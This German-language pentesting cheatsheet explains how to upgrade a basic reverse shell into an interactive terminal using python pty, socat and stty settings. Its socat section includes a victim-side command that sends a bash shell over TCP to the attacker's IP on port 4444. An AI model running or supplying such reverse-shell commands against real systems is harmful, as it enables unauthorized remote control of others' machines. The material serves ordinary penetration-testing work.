Shell Upgrade Cheatsheet Commands
Verbesserte Shells sind essenziell, um effizient auf entfernten Systemen zu arbeiten, besonders wenn nur eingeschränkte oder instabile Shells verfügbar sind. Hier sind einige Techniken, um eine einfache Shell in eine voll funktionsfähige interaktive Shell aufzurüsten.
Verwendung von Python für ein Pseudo-Terminal
Nutze Python, um ein Pseudo-Terminal zu erzeugen:
python -c 'import pty; pty.spawn("/bin/bash")'Dieser Befehl startet /bin/bash innerhalb eines Pseudo-Terminals, was die Shell interaktiver und stabiler macht.
Einsatz von Socat
Listener (lokales System):
socat file:`tty`,raw,echo=0 tcp-listen:4444Opfer (entferntes System):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<Ihre_IP>:4444Hinweis: Ersetze <Ihre_IP> durch die IP-Adresse deines lokalen Systems.
Mit Socat kannst du Datenströme zwischen zwei Punkten übertragen. In diesem Fall leitet es die Shell vom entfernten System zu deinem lokalen Terminal weiter.
Nutzung von stty-Optionen
Schritte auf der Reverse Shell:
-
Starte ein Pseudo-Terminal:
python -c 'import pty; pty.spawn("/bin/bash")' -
Bringe die Shell in den Hintergrund:
- Drücke
Ctrl + Z
- Drücke
Schritte auf deinem lokalen System (z. B. Kali Linux):
-
Setze das Terminal in den Raw-Modus:
stty raw -echo -
Hole die Shell zurück in den Vordergrund:
fg
Zurück auf der Reverse Shell:
-
Setze das Terminal zurück:
reset -
Exportiere die notwendige Umgebungsvariablen:
export SHELL=bash export TERM=xterm-256color -
Stelle die Terminalgröße ein (ersetze
<Zeilen>und<Spalten>entsprechend):stty rows <Zeilen> columns <Spalten>
Diese Methode stellt sicher, dass die Shell korrekt mit dem Terminal kommuniziert, und behebt Probleme mit der Anzeige oder der Eingabe.
Weitere hilfreiche Techniken
Kennst du weitere nützliche Methoden, um Shells aufzurüsten? Teile sie gerne in den Kommentaren oder kontaktiere mich auf Twitter.
Viel Erfolg!
ShellUpgradeReverseShellPtySocatLinuxTerminalPenTestHackingLinuxTips